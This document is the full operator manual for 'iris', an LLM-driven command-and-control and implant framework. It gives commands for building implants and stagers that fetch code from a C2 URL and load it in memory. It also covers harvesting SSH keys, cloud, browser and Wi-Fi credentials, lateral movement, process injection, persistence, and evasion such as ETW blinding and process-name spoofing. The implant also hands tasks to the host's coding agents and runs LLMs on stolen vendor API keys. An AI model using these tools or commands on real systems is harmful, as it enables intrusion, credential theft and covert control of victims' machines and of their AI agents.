credsaction: sshkeys | cloud | env | browser | wifi | rdp | agentscred harvesting on this box
evidenceaction: logs | recent, optional hoursshell history, log-file tails (Unix; the Windows event log is a separate surface), recently-modified files
lateralaction: winrm, plus host, user, pass, optional port, httpslateral auth probe against a target
delegateprompt, optional modelhand a subtask to a host coding agent, take back its reply
llmscanoptional rescan (bool)LLM pool inventory; rescan re-probes the host's coding agents
bofaction: list (default) | load (name, path) | run (name, args, arg_types, data) | unload (name)reflective COFF load and run, on every platform — list shows what is loaded in that agent's process, not the console library (console module list). Native ELF/Mach-O modules go through module run

Ceilings are per tool, so a long enumeration is not cut off by the CLI wait: inject 120 s, scan 120 s, bof 120 s, local 90 s, recon / creds / evidence 60 s, lateral 30 s. A panic inside any tool degrades to a tool result (error: panic …) rather than killing the agent mid-goal.

Role gate: a blue agent (investigate, never mutate) refuses spawn, lolbin, inject, write, build, lateral, delegate, urlfetch — the result says why and how to flip the role to red / dual.

upgrade (lite → full) is a channel action, not a registry tool.

The loop is strict JSON think → act → observe, capped by --max-steps, with a wrap-up nudge in the last two steps. Supervised mode pauses for plan approval (plan <id> approve|reject).

LLM backends & proxy

  • The agent discovers OpenAI-compatible endpoints (probe list + what it finds on the host) and fails over between them.
  • Console proxy (--llm-url on serve): agents without their own LLM are pointed at it; API keys stay on the console and never touch the target. Re-point live: console config --llm <url> [--llm-key …].

Modules (BOF / ELF / Mach-O)

  • Windows: reflective COFF loader, in-process (Beacon API implemented in pure Go — no child process). Linux/macOS: in-process ELF / Mach-O.
  • Import: UI Modules panel (upload), POST /api/modules, or drop files in --modules-folder (reconciled live — no restart needed; a modules.json manifest declares type detection|reporting|control + description). Sliver/Cobalt extension.json sidecars beside a module binary auto-attach — arg names/types pack exactly.
  • Run: Modules panel Run (args box), console module run <agent> <name> [args…], or POST /api/agents/<id>/modules/run. The agent's LLM can pick catalog modules itself.
  • First-party catalog: iris/tasklist · netstat · regquery · pth · sam · vault · adcsreq · psexec · wmiexec · adenum · screenshot plus the imported cs/* AD corpus; modules report structured facts, the LLM reasons over them. (recon · scan · local · creds · evidence · lateral are the agent's built-in tools, not modules.)

Channels & failover

Primary HTTPS; automatic failover to DNS TXT (--dns-addr baked or console-pushed) and ICMP; WireGuard when provisioned. Fleet shows the last channel used; channel switches are audited. Self-heal: 5 consecutive failed beacons trigger re-HELLO + channel-set rebuild, 30 trigger a field self-restart, and a failed goal result retries twice — baked defaults in internal/settings (no live dial).

WireGuard tunnel

  1. certs init + certs issue <agent> — the agent's WG keypair rides in the cert bundle; bake with --cert bundle.pem --wg-addr auto --channels wg,https.
  2. Console: --wg-advertise <public-endpoint> (brings up the listener on that port; peers are added lazily on each beacon).
  3. The first beacon always goes over HTTPS — one response is what teaches the agent its tunnel IP and the console WG pubkey. --channels names the primary route: wg,https means the tunnel carries beacons from the moment it is armed (HTTPS falls back the instant the tunnel fails), while https,wg keeps HTTPS primary and uses the tunnel only when HTTPS is down. Renegotiation never drops the tunnel, and a console restart re-arms it: a tunnel-primary implant takes the route back on its next beacon.
  4. console wg / GET /api/wg list the listener, its public key, and the peer table. The console configures no endpoints for agents (they dial the listener), so a peer's endpoint is the address the device learned from that peer's own traffic — empty until its first handshake — and last seen is the last decrypted packet from it. device errors counts real anomalies only (decrypt failures, bad MACs, invalid initiations, disallowed source addresses); handshake and keepalive chatter is not counted.

Upgrades

  • console upgrade <agent> (or the Workbench button): the agent downloads the new build from the payload URL and reflective-loads it.
  • Windows default: memory-only (zero disk writes, same process). Opt-in --write-file: same-name persistence (rename-aside when locked).
  • Unix/macOS: in-place rename-over-running (memory + file atomically, same pid re-exec).
  • Lite → full: console upgrade <agent> <url> morphs the C core in place.
  • CDN caches /data URLs — append ?v=N to bust a stale download.

Persistence

console persist <agent> [--mechanism <id>] / API POST /api/agents/persist — survive reboot under neutral naming; unpersist removes it. Default mechanism = platform pick; privileged mechanisms only register when the agent reports admin/root.

OSMechanism ids (default first)
Windowsstartup · schtasks · run (registry Run key) · service (admin)
Linuxsystemd-user · cron · systemd-system (root)
macOSlaunchagent · launchdaemon (root)

Stealth posture

  • --mode field + --stealth auto: EDR/AV presence shifts cadence and spawn choices; sandboxed hosts behave lab-like (verbose, no self-destruct).
  • --parent-spoof picks the spawner for every spawned action; --canary shifts the file hash; --identity spoofs the visible process name.
  • --etw blinds ETW-based EDR telemetry (adds API names — enable selectively).
  • --pack removes iris/… Go strings from the binary.
  • EDR/AV verdict + implant version show in the fleet row.

Portable implant (iris-implant-builder)

Cross-compiles a config-baked, zero-argument implant from any host.

iris-implant-builder [config flags …] [build flags …]

config flags  --url --id --peer --poll --once --insecure --note --debug
              --model --probes --llm-url --llm-model --llm-key --llm-ctx
              --llm-timeout --max-steps --memory-file --mem-max --sysprompt
              --dns-addr --zone --icmp-host --channels --beacon-path
              --parent-spoof --canary --stealth --fp-probes --mode
              --identity --cert --key --keyfile --keygen --wg-addr
              --startup-goal --startup-steps --role --mcp-url --mcp-key --skill-*
build flags   --file-out --src --target-os --target-arch --go
              --etw --pack --inline
Build flagDefaultMeaning
--file-outiris-implant (.exe on Windows targets)output path
--srcnearest go.modsource root
--target-os / --target-archhostcross-build target
--gogo on PATHtoolchain path
--etwoffETW suppression (Windows only)
--packoffrandom module path (kills iris/… strings)
--inlineoffre-enable function inlining (off = -gcflags all=-l, ~1 MB smaller)

Bake notes: --id unset keeps the stable per-host default; --keyfile/ --sysprompt are read at build time; --key / --keyfile bake the HMAC header seal only — since 0.11.5 the console never authenticates with it, so agent auth is the baked ed25519 keypair (--keygen) or an mTLS client cert; --llm-key lands only in the data segment; --debug/--mode lab produce a logging bench implant (the implant itself exposes no flags); --cert bakes the mTLS bundle (WG seed included); --wg-addr auto learns the dial target from --wg-advertise; --role red|blue|dual bakes the mission role; --no-host-agents bakes the host AI-agent handoff off (no scanning or delegating to local coding agents), --no-harvest-llm bakes off remote LLMs built from harvested vendor API keys; --keygen mints a fresh ed25519 identity, --keyfile ships a pre-made keypair (public key goes to the console for certs issue).

Examples:

# Windows implant from Linux/macOS:
./dist/iris-implant-builder --file-out ./victim.exe --target-os windows \
    --url https://c2.example.com --id victim

# LLM pin + custom prompt + longer recall (Linux):
./dist/iris-implant-builder --file-out ./victim \
    --url https://c2.example.com --id victim \
    --llm-url http://192.0.2.10:8080/v1 --llm-model "local-model" \
    --mem-max 100 --sysprompt prompt.md

# Defended Windows host: spoof rotation + canary + low-profile beacon:
./dist/iris-implant-builder --file-out ./victim.exe --target-os windows \
    --url https://c2.example.com --parent-spoof mixed --canary $(uuidgen) \
    --stealth on --etw --pack

# WireGuard-capable implant (cert carries the WG seed):
./dist/iris console certs issue copilot --days 365 --out ./bundle.pem
./dist/iris-implant-builder --file-out ./copilot --target-os linux \
    --url https://c2.example.com --cert ./bundle.pem \
    --wg-addr auto --channels wg,https

The baked implant runs with zero arguments and writes nothing on first launch beyond its ed25519 keypair (randomized temp path, clean-reset on corruption).

Stager (iris-stager-builder)

A one-shot loader: it downloads the implant from a baked URL, maps it reflectively into memory, and jumps to its entry point — no disk write of the implant. Production builds leave no trace (no files, stdio to NUL, no command-line change).

iris-stager-builder --url https://console.example.com/data/implant.exe --file-out stager.exe [flags]
FlagDefaultMeaning
--urlrequiredimplant download URL baked into the stager
--file-outrequiredoutput stager path
--inject <proc>off (in-process)Windows remote inject: create the target suspended (process name or PID), load the implant into it, remote thread, exit
--spoof <name>bash (Linux)set comm of stager + implant so ps shows a generic name
--xor-key <hex>autoXOR key for the embedded strings
--etw / --packoffETW suppression / randomized module path (same as implant builds)
--inlineoffre-enable inlining (off is ~1 MB smaller)
--timeout <dur>60sdownload budget
--debugofflogging build (writes trace logs, hands --debug to the implant)

Chain it with the payload folder: bake → serve via console serve --payload → run the stager on the target; the stager fetches /data/implant.exe and the full implant beacons from memory. For a resident first stage that beacons before morphing, use the lite core's --full-url instead.

Lite implant (iris-lite-builder)

A tiny C core (Windows PE): beacon + shell + auth, ~no footprint.

iris-lite-builder --url <C2:PORT> --file-out <out.exe> [config flags …] [build flags …]

config flags  --url (required) --id --beacon-path --poll --note --full-url --key --keyfile
build flags   --file-out (required) --cc --core-dir --lean

--key / --keyfile here are the same seal-only bake as the Go builder (auto- generated when omitted); the lite implant authenticates with its baked ed25519 signature.

FlagDefaultMeaning
--urlrequiredbeacon base URL
--file-outrequiredoutput PE path
--idliteagent id (re-registers under it)
--beacon-path/v1/chat/completionsbeacon path
--poll5beacon interval (0 = console's X-Poll)
--note—informational note
--full-url—stager mode: download + morph to the full implant before beaconing (falls back to lite on failure)
--ccautoC compiler (x86_64-w64-mingw32-gcc / clang)
--core-dircoreC core source directory
--leanoffomit the COFF loader: no BOF, no upgrade, no stager; drops the VirtualAlloc import (incompatible with --full-url)

Upgrade a running lite agent to the full implant: console upgrade <agent>.

CLI verbs & REPL — full inventory

Every Web UI action has a CLI twin. Each verb is a client request to a console, and it resolves that console in this order: an explicit --url, then $IRIS_URL, then the console the last login signed into, then the built-in default http://127.0.0.1:3080. So a local console on the default port needs no flags at all; anything else — another port, a remote host, a TLS console — is named once by login and inherited by every later verb.

One login serves every later verb: it stores the session cookie and the console it signed into (address plus TLS settings) in ~/.iris-session by default; per-operator on shared hosts via --session / IRIS_SESSION_FILE. Flags may appear before or after positionals on every verb. iris console --version (or -V) prints the build identity and exits. Re-generated from the shipping code by tools/gen_cli_doc.py.

Quick reference

Session & auth

VerbOne-liner
serverun the C2 server
repl
loginlog in → session cookie
logoutclear the login session (cookie + session file)
statusconsole status (version, key, channels, counts)
settingsdump compiled-in defaults
versionprint version

Fleet

VerbOne-liner
listlist known agents
removedrop an agent from the registry
blocklistBLOCKLIST an agent (beacons 403 until un-blocklisted)
unblocklistremove an agent from the blocklist
killkill an agent (self-delete + exit)
persistinstall OS persistence on an agent
unpersistremove OS persistence from an agent
stealthbeacon posture at runtime (auto/on/off)
rolemission role at runtime
boosttoggle an agent’s fast-poll at runtime
reconspawn-free host facts
injectinject a payload into a running process (Windows)
upgrademorph a lite agent into the full implant
agents-hideshow/set hide-stale threshold
key-mismatchshow/set key-mismatch toggle

Goals, shell & PTY

VerbOne-liner
sendqueue a goal
schedulelist/cancel scheduled goals
shellrun a shell command
ptyinteractive PTY shell
goalslist goal records
plansupervised mode: decide a pending plan
cancelcancel an in-flight goal
clearremove one goal/shell record
clearallwipe every record in a panel
modeshow/set the console-wide default operation mode for LLM goals

Files

VerbOne-liner
filepull a file
fileslist pulled files
downloaddownload a pulled file
pushpush a local file
file-delremove a pulled file

LLM, tuning & config

VerbOne-liner
configrepoint LLM / limits / MCP / skills (no agent restart)
tunelive-tune cadence / dials / caps (no restart)
llm-defaultset/list the default LLM endpoint
llm-blockblock/unblock an agent's LLM proxy
llm-endpointslist the LLM proxy endpoints (key hidden)
revoke-keyrevoke an agent's ed25519 key
toolrun an executor tool DIRECTLY (no LLM)
syspromptshow/set an agent's base system prompt

Modules & skills

VerbOne-liner
moduleCOFF/BOF module library
mcpMCP servers
skillsskill packs
skillfetch one skill pack's markdown body

Blue Workspace

VerbOne-liner
baselinesensor baseline
iocsoperator-fed IOC set
vrVelociraptor bridge
osqOSQuery bridge
anomdetection feed
probesread-only probe library
playbooksIR playbook library
vr-urlVelociraptor deploy source, per target OS
osq-urlosquery deploy source, per target OS

Pivot & WireGuard

VerbOne-liner
pivotSOCKS pivot
wgWireGuard listener

PKI

VerbOne-liner
certsmTLS PKI

Console settings

VerbOne-liner
globalshow/set the standing global instruction
startupshow/set the global once-on-launch startup instruction (runs once per new agent)
ip-allowlistshow/set the agent IP allow list (single IP / CIDR / a-b range per line)
secondaryshow/set the backup (fail-over) console URL agents auto-switch to when the primary is down
beacon-pathshow/set the console's beacon URL path (served alongside the defaults, pushed to agents)
c2-profileshow/set the malleable C2 profile (default|saas-poll|cdn-prefetch|ws-message)
agent-c2-profileset a per-agent C2 profile override
passwordset/change/clear the operator password

Operators, messages & data

VerbOne-liner
operatornamed operator accounts (RBAC)
messageoperator chat message
exportexport history to a local JSON file
importimport (merge) a history file
auditread the append-only audit trail
graphrecon graph
dbSQLite state ops

Connection flags (accepted by every verb)

FlagWhat it means
--urlconsole base URL — overrides $IRIS_URL and the console login stored (default http://127.0.0.1:3080)
--key / --keyfile / --password / --pwplain aliases for the password (legacy X-Password header path)
--usernamed operator — pairs with the password to sign a named session (login, repl)
--sessionsession-cookie file (default ~/.iris-session; $IRIS_SESSION_FILE)
--statestate file (offline verbs; auth comes from the login session or --password)
--insecureskip TLS verification for self-signed consoles ($IRIS_INSECURE=1)
--caCA PEM to trust ($IRIS_CA)
--certclient cert for mTLS to the console ($IRIS_CERT)

login records the address and whichever of --insecure / --ca / --cert it used, so later verbs work with no flags at all. A credential is still needed: a stored session cookie, or --key / --password for the legacy shared-password path.

Session & auth

serve

run the C2 server — beacon listener + API + Web UI (every flag on the Console internals page)

console serve --console 127.0.0.1:3080 --beacon 0.0.0.0:8080 \
          --operator-auth --strict --mtls --socks-port 0.0.0.0:5555
          # every serve flag: Console internals page

repl

interactive operator session — auth once, any verb from the prompt (see REPL session below)

console repl --url https://console.example.com --user alice --password <pw>
FlagWhat it means
--historyprint the command history and exit (scripted/non-TTY use)

login

log in → session cookie — login [user] <password> (named operator; bare password = legacy console)

console login alice <pw>          # named operator → session cookie
console login <console-password>  # legacy shared password (until --disable-legacy-password)

logout

clear the login session (cookie + session file) — logout

console logout

status

console status (version, key, channels, counts)

console status

settings

dump compiled-in defaults

console settings

version

print version

console version

Fleet

list

list known agents

console list                       # table
console list --json                # raw JSON

remove

drop an agent from the registry — remove <agent>

console remove <agent>

blocklist

BLOCKLIST an agent (beacons 403 until un-blocklisted) — blocklist <agent>

console blocklist <agent>     # beacons 403 until un-blocklisted

unblocklist

remove an agent from the blocklist — unblocklist <agent>

console unblocklist <agent>

kill

kill an agent (self-delete + exit) — kill <agent> | kill --all

console kill <agent>
console kill --all                 # kill switch
FlagWhat it means
--allevery target of the verb's kind — agents (kill --all = kill switch) or the whole set (iocs rm --all)
--no-binaryschedule only — do not write the binary path

persist

install OS persistence on an agent

console persist <agent>                    # platform-default mechanism
console persist --mechanism <id> <agent>   # explicit mechanism
FlagWhat it means
--mechanismpersistence mechanism id (omitted = platform default; see Persistence)

unpersist

remove OS persistence from an agent

console unpersist <agent>

stealth

beacon posture at runtime (auto/on/off) — stealth on|off|auto <agent> | --all

console stealth auto <agent>
console stealth off --all                  # fleet posture
FlagWhat it means
--allevery target of the verb's kind — agents (kill --all = kill switch) or the whole set (iocs rm --all)

role

mission role at runtime — role red|blue|dual <agent> | --all

console role blue web1
console role dual --all
FlagWhat it means
--allevery target of the verb's kind — agents (kill --all = kill switch) or the whole set (iocs rm --all)

boost

toggle an agent’s fast-poll at runtime — boost <agent> on|off

console boost web1                 # fast-poll: goals pick up instantly
console boost --all
FlagWhat it means
--allevery target of the verb's kind — agents (kill --all = kill switch) or the whole set (iocs rm --all)

recon

spawn-free host facts — recon <agent> [light|full]

console recon web1 light
console recon web1 full

inject

inject a payload into a running process (Windows) — inject <agent> <target> [url]

console inject web1 notepad.exe   # self-payload injected into the process

upgrade

morph a lite agent into the full implant — upgrade <agent> <url> [--kill-self=false]

console upgrade web1 https://console.example.com/data/implant.exe
console upgrade --write-file web1 <url>   # opt-in disk persistence
FlagWhat it means
--write-fileupgrade opt-in: persist the new image to disk (same-name rule); default = memory-only on Windows

agents-hide

show/set hide-stale threshold — agents-hide [1h|6h|1d|7d|30d]

console agents-hide 7d       # hide agents idle > 7d
console agents-hide            # show current threshold

key-mismatch

show/set key-mismatch toggle — key-mismatch [on|off]

console key-mismatch on      # flag key-rotation beacons instead of rejecting

Goals, shell & PTY

send

queue a goal — send <agent> <goal> | --agents a,b | --broadcast | --mode supervised | --at TIME | --in DUR

console send web1 "enumerate the AD domain admins"
console send --agents web1,web2 "whoami"
console send --broadcast "check for new SUID binaries" --in 2h
console send web1 "recon the host" --mode supervised   # plans need your approve/reject
FlagWhat it means
--agentsapply to these agents (comma list) instead of the positional agent
--atschedule the goal at an absolute time (RFC3339 or "HH:MM" today)
--broadcastapply to every registered agent
--goalgoal text (alternative to the positional argument)
--inschedule the goal to fire after a duration (30, 2h, 1d)
--max-stepsglobal cap on tool-loop steps per goal (0 = no change)
--modeper-goal execution mode: autonomous | supervised (overrides the console default)
--no-waitreturn immediately with the goal id — don't wait for output
--waitmax seconds to wait for completion (0 = wait indefinitely)

schedule

list/cancel scheduled goals — schedule | schedule cancel <id>

console schedule                       # list
console schedule cancel <goal-id>

shell

run a shell command — shell <agent> <command...>

console shell web1 "whoami"
console shell --agents web1,web2 "ipconfig"
console shell web1 "dir C:\Users" --interp powershell
FlagWhat it means
--agentsrun on these agents (comma list) instead of a single positional agent
--interpforce the shell interpreter on Windows: powershell | cmd (default = agent preference; launch rotation follows --parent-spoof)
--no-waitreturn immediately with the goal id — do not wait for output
--timeoutcommand timeout ON THE AGENT (seconds)
--waitmax seconds to wait for the command to complete (0 = wait indefinitely; ignored with --no-wait)

pty

interactive PTY shell — pty <agent> [cmd...]

console pty web1                      # interactive terminal; ^] then q detaches
console pty web1 bash
FlagWhat it means
--idlesliding idle timeout in seconds (any I/O resets the clock); 0 = no timeout

goals

list goal records

console goals                       # history table
console goals <goal-id>             # full transcript

plan

supervised mode: decide a pending plan — plan <goal_id> (approve|reject) [--note TEXT]

console plan <goal-id> approve
console plan <goal-id> reject --note "too noisy"
FlagWhat it means
--notenote attached to the plan decision (audit trail)

cancel

cancel an in-flight goal — cancel <agent> [goal_id]

console cancel web1                 # newest goal
console cancel web1 <goal-id>

clear

remove one goal/shell record — clear <goal_id>

console clear <goal-id>

clearall

wipe every record in a panel — clearall [--panel agents|shell|goals|files]

console clearall --panel goals    # wipe one panel
FlagWhat it means
--panelpanel to clear: agents|shell|goals|files

mode

show/set the console-wide default operation mode for LLM goals — mode [autonomous|supervised]

console mode supervised               # console default (per-goal overrides it)

Files

file

pull a file — file <agent> <path>

console file web1 C:\Users\bob\history.sqlite   # pull to console

files

list pulled files

console files

download

download a pulled file — download <name> [-o OUT]

console download history.sqlite -o ~/out.sqlite
FlagWhat it means
--owrite the downloaded file to this local path
--outbackup target (default: <db>.backup-<unix>)

push

push a local file — push <agent> <local-file> <dest>

console push web1 /tmp/tool.exe C:\temp\tool.exe   # ~4 MiB per push

file-del

remove a pulled file — file-del <name>

console file-del history.sqlite

LLM, tuning & config

config

repoint LLM / limits / MCP / skills (no agent restart)

console config --llm https://api.example.com/v1 --llm-key <k> web1
console config --agents web1,web2 --skill-add recon-ops
FlagWhat it means
--agentsapply to these agents (comma list) instead of a single positional agent
--anomaly-intervaldeviation check cadence in seconds (0 = role default: lab 30s / field 300s)
--broadcastapply to every registered agent
--llmLLM base URL to point the agent at (OpenAI-compatible)
--llm-keyLLM API key for the new endpoint (send it when the endpoint needs auth, e.g. LiteLLM/OpenAI)
--mcp-keyAPI key for --mcp-url (sent as bearer)
--mcp-namelabel for --mcp-url (default: derived from the URL host)
--mcp-removeremove the MCP server with this name (runtime)
--mcp-resetreset the agent's MCP servers to the built-in default set (Firecrawl)
--mcp-urladd an MCP server at this URL (runtime)
--modelLLM model name (optional)
--registryregistry keys (comma list, e.g. HKCU\SOFTWARE\...\Run) — sensor Windows only
--resetunpin a previously-set LLM (auto-discovery resumes)
--skill-addassign a skill pack to the agent (by name, from the --skills-folder)
--skill-removeremove the skill pack with this name from the agent
--skill-resetclear the agent's skills to none
--watchwatch paths (comma list) — files hashed/stat'd every cycle (tripwires)

tune

live-tune cadence / dials / caps (no restart) — tune --reset restores defaults

console tune --normal-gap 60 --normal-jitter 0.2 web1
console tune --reset web1                    # back to compiled defaults
FlagWhat it means
--agentsapply to these agents (comma list) instead of a single positional agent
--antitamper-actionantitamper response to a debugger/tracer hit: widen (default) | dormant | self-destruct | off (empty = no change)
--beacon-stuck-timeouthow long the agent may go without a successful beacon before it self-restarts (e.g. 3m, 0=off; empty = no change)
--broadcastapply to every registered agent
--goal-capgoal-history cap: max goal records GET /api/goals returns (0 = no change). A display cap — the state file keeps every record and export (?full=1) is uncapped. Console-side; no target agent required
--llm-resp-capLLM response cap (e.g. 8m; empty = no change)
--llm-timeoutper-goal LLM timeout, seconds (0 = no change)
--low-gaplow-profile beacon gap (empty = no change)
--low-jitterlow-profile beacon jitter (empty = no change)
--max-envenv-var cap (0 = no change)
--max-listdirectory listing cap (0 = no change)
--max-outper-action output cap (e.g. 16k; empty = no change)
--max-ptyconcurrent live-shell sessions cap (0 = no change)
--max-readread-tool file cap (e.g. 512k, 1m; empty = no change)
--max-stepsglobal cap on tool-loop steps per goal (0 = no change)
--max-tokenscompletion budget per call (0 = no change)
--mcp-resp-capMCP response cap (e.g. 8m; empty = no change)
--memory-filefile memory snapshot: on | off (empty = no change)
--normal-gapnormal beacon gap (e.g. 30, 1.5s, 1m; empty = no change)
--normal-jitternormal beacon jitter (e.g. 1.5s; empty = no change)
--pull-capfile-pull cap (e.g. 32m; empty = no change)
--resetrestore the compiled-in defaults for every tunable (exclusive with value flags)
--skill-capskill body cap (e.g. 1m; empty = no change)
--stuck-goal-timeouthow long a goal may run before the agent self-restarts to clear it (e.g. 5m, 0=off; empty = no change)
--tool-timeoutdefault per-tool timeout (e.g. 90s; empty = no change)
--tool-timeout-maxper-tool timeout ceiling (e.g. 240s; empty = no change)
--uasreplace the UA pool (comma-separated; empty = keep the current set)

llm-default

set/list the default LLM endpoint — llm-default [--llm-url … --llm-key …]

console llm-default --llm-url https://api.example.com/v1 --llm-key <k>   # console keyless proxy
FlagWhat it means
--llm-keyLLM API key (stored on the console, never in the agent)
--llm-modelLLM model ID (optional; pins the model)
--llm-urlLLM base URL (OpenAI-compatible)

llm-block

block/unblock an agent's LLM proxy — llm-block [--on|--off] <agent>

console llm-block --on web1      # containment: its remote LLM calls 403
FlagWhat it means
--onblock (true) or unblock (false) the agent's LLM proxy

llm-endpoints

list the LLM proxy endpoints (key hidden)

console llm-endpoints

revoke-key

revoke an agent's ed25519 key — revoke-key <agent>

console revoke-key web1

tool

run an executor tool DIRECTLY (no LLM) — tool <agent> <tool> [args-json] · e.g. tool agent1 creds '{"action":"sshkeys"}'

console tool web1 shell '{"cmd":"whoami"}'   # executor tool direct, no LLM
FlagWhat it means
--no-waitreturn immediately with the goal id — do not wait for output
--waitmax seconds to wait for the tool to complete (0 = wait indefinitely)

One agent per call — no --agents / --broadcast. Args contracts for all 26 tools: §Tools; operator guide: USER-GUIDE §4.

sysprompt

show/set an agent's base system prompt — sysprompt <agent> [text…] | --reset

console sysprompt web1 "You are a quiet recon sensor."
console sysprompt web1 --reset
FlagWhat it means
--resetrestore the built-in default (per verb: tuning dials / sysprompt text / MCP set / skills)

Modules & skills

module

COFF/BOF module library — list · upload <name> <file> · rm <name> · run <agent> <name> [args…]

console module list
console module upload adenum adenum.bof --meta adenum.json
console module run web1 sa-dir "C:\Users" 2
console module rm adenum

mcp

MCP servers — mcp [list] | add | remove | reset

console mcp list
console mcp add --mcp-url https://mcp.example.com --mcp-key <k> web1
console mcp remove firecrawl web1

skills

skill packs — assign: add|remove|reset|list · library: view|edit|new|delete · pending: pending|approve|reject|discard

console skills add recon-ops web1   # assign a pack from the store
console skills remove recon-ops web1
console skills pending              # agent-proposed, awaiting review
console skills approve <name>

skill

fetch one skill pack's markdown body — skill <name>

console skill recon-ops

Blue Workspace

baseline

sensor baseline — baseline show|set|diff|clear <agent>

console baseline set web1
console baseline diff web1      # drift since golden snapshot

iocs

operator-fed IOC set — iocs list | import file [--set NAME --ttl 7d] | rm --set NAME|--all

console iocs import iocs.json --set triage/web1 --ttl 7d
console iocs list
console iocs rm --set triage/web1
FlagWhat it means
--allremove the whole set
--setremove every indicator of this named set
--ttlset expiry, e.g. 7d / 12h (optional)

vr

Velociraptor bridge — vr deploy|run <agent>|--all | vr runs [agent] | vr view <id>

console vr deploy web1
console vr run --all
console vr runs web1
console vr view <run-id>

osq

OSQuery bridge — osq deploy <agent>|--all | osq run <agent>|--all "SELECT …" [--label x] | osq runs

console osq deploy web1
console osq run web1 "SELECT pid,name FROM processes" --label procs
console osq runs

anom

detection feed — anom [agent] | anom disp <agent> <id> fp|ok|esc|new [note]

console anom web1
console anom disp web1 7 fp         # false positive (allowlisted)

probes

read-only probe library — probes | probes add <name> <cmd> | probes run <agent> <name> | probes rm <id> | probes restore

console probes
console probes add suid-check "find / -perm -4000 2>/dev/null"
console probes run web1 suid-check

playbooks

IR playbook library — playbooks | playbooks dispatch <agent>|--all <name|id> | playbooks rm <id>

console playbooks
console playbooks dispatch web1 ir-triage

vr-url

Velociraptor deploy source, per target OS

console vr-url linux /data/velociraptor-linux
console vr-url clear              # back to payload-folder defaults

osq-url

osquery deploy source, per target OS

console osq-url mac /data/osqueryi-mac

Pivot & WireGuard

pivot

SOCKS pivot — pivot | enable|disable <agent> | route <agent|auto> | streams <agent>

console pivot enable web1          # SOCKS5 routes through it
console pivot disable web1
console pivot route                # show the pinned route + who it routes through now
console pivot route dc1            # pin the SOCKS route (survives a console restart)
console pivot route auto           # unpin — first available pivot channel

wg

WireGuard listener — wg | wg peers

console wg
console wg peers

PKI

certs

mTLS PKI — certs init|issue <name>|list|revoke <name>|show

console certs init --san c2.example.com,203.0.113.5
console certs issue web1
console certs revoke web1

Console settings

global

show/set the standing global instruction

console global "Always report findings as facts."   # prepended to every goal
console global --clear
FlagWhat it means
--clearclear the current setting value instead of setting a new one

startup

show/set the global once-on-launch startup instruction (runs once per new agent) — startup [text] | --clear

console startup "Check EDR posture first."
console startup --clear
FlagWhat it means
--clearclear the current setting value instead of setting a new one

ip-allowlist

show/set the agent IP allow list (single IP / CIDR / a-b range per line) — ip-allowlist [entry…] | --clear

console ip-allowlist 192.0.2.0/24 198.51.100.1-198.51.100.50
console ip-allowlist --clear
FlagWhat it means
--clearclear the current setting value instead of setting a new one

secondary

show/set the backup (fail-over) console URL agents auto-switch to when the primary is down — secondary [url|clear]

console secondary https://backup.example.com
console secondary clear

beacon-path

show/set the console's beacon URL path (served alongside the defaults, pushed to agents) — beacon-path [path|clear]

console beacon-path /v1/chat/completions   # defaults stay served too

c2-profile

show/set the malleable C2 profile (default|saas-poll|cdn-prefetch|ws-message) — c2-profile [name|clear]

console c2-profile saas-poll
console c2-profile --json my-shape.json     # custom template
FlagWhat it means
--jsonthe profile is GIVEN as JSON (file path or inline string), not printed raw

agent-c2-profile

set a per-agent C2 profile override — agent-c2-profile <agent> <name|clear>

console agent-c2-profile web1 cdn-prefetch
console agent-c2-profile web1 clear

password

set/change/clear the operator password — password <new> | --clear | --current <old>

console password <new> --current <old>
console password --clear
FlagWhat it means
--clearclear the operator password (the next password-only login bootstraps a new one; named accounts unaffected)
--currentcurrent password (required when changing an existing one)

Operators, messages & data

operator

named operator accounts (RBAC) — operator [list] | add <name> --role R [--password pw] | disable|enable|remove <name>

console operator add alice --role red --password <pw> --db ~/iris-runtime/iris-state.db
console operator list
console operator disable bob
FlagWhat it means
--dbdatabase path
--roleoperator role

message

operator chat message — message <to> "text" | message cap <n>

console message "web1 is quarantined, pending approval"
FlagWhat it means
--fromaudit — window start (RFC3339, "2006-01-02 15:04", or unix seconds)

export

export history to a local JSON file — export <goals|shell|agents> <file>

console export goals goals.json
console export agents agents.json

import

import (merge) a history file — import <goals|shell|agents> <file>

console import goals goals.json   # merge

audit

read the append-only audit trail — audit [--q TEXT] [--limit N] [--json] · audit export|import <file>

console audit --limit 20
console audit --q goals/queue           # dispatch rows — each names the goal id
console audit --from "2026-11-06 09:00" --to "2026-11-06 12:00"
console audit export audit.json         # the whole trail
console audit import audit.json         # merge (append-only, duplicates skipped)
FlagWhat it means
--fromonly rows at or after this time (RFC3339, '2006-01-02 15:04', or unix seconds; local zone)
--jsonprint raw JSON rows
--limitmax rows (newest first)
--qfilter text (the Audit panel's search)
--toonly rows at or before this time (same formats)

graph

recon graph — graph [--type T] [--name sub] [--json|--csv] · graph reset · graph report [--out file]

console graph --type user --name admin
console graph --csv
console graph report --out report.md
console graph reset
FlagWhat it means
--csvedges as CSV (from,from_type,edge,to,to_type,props,agents,goal_ids)
--jsonraw JSON snapshot
--namecase-insensitive name substring
--typefilter node type (host|user|group|domain|service|share|ca|template)

db

SQLite state ops — db verify <state.json> | export | backup | stats

console db backup ~/pre-freeze.db
console db verify
FlagWhat it means
--dbdatabase path (empty = derived from --state)
--outbackup target (default: <db>.backup-<unix>)

REPL session

One login, then every verb runs from the prompt — same flags, same output, no repeating --url / --key per command. Works interactively and piped:

$ iris console repl --url https://console.example.com --user alice --password <pw>
  auth    : named operator alice — session cookie active
iris> use web1                        # sticky target for later verbs
iris> shell whoami
  CORP\alice
iris> send "list the local admins" --mode supervised
iris> plan 42 approve
iris> exit
  • login <user> <password> signs a named operator in; login <password> alone uses the legacy shared console password. A password-only attempt the console rejects (any 401 — including the bare unauthorized a console with the shared path closed returns) is retried as a named one: the lone positional becomes the operator name and the password is asked for again, so login alice means what it sounds like on a named-accounts console. The shared-password path stays open until the console has an active named operator (even with --disable-legacy-password), otherwise nothing could sign in to create the first one. CLI and REPL authenticate exactly like the Web UI, and the audit trail attributes every action to the operator.
  • use <agent> pins a sticky target — send/shell/config/tune/mcp/ file/push/skills (and the IR verbs) apply to it until use "".
  • The REPL takes the same verbs as the standalone CLI (everything except serve and repl itself), with the console and credential already resolved by the prompt — so operator, pivot, recon, db, boost, message, inject and settings work there too.
  • Signing in at the prompt (login <user> <password>) or up-front with --user / --password writes the same session file, so standalone verbs started after the REPL exits inherit the identity and the console.
  • logout clears the credential and keeps the console address, so signing back in needs no --url either.
  • Builtins: help · use · history · cls · exit.
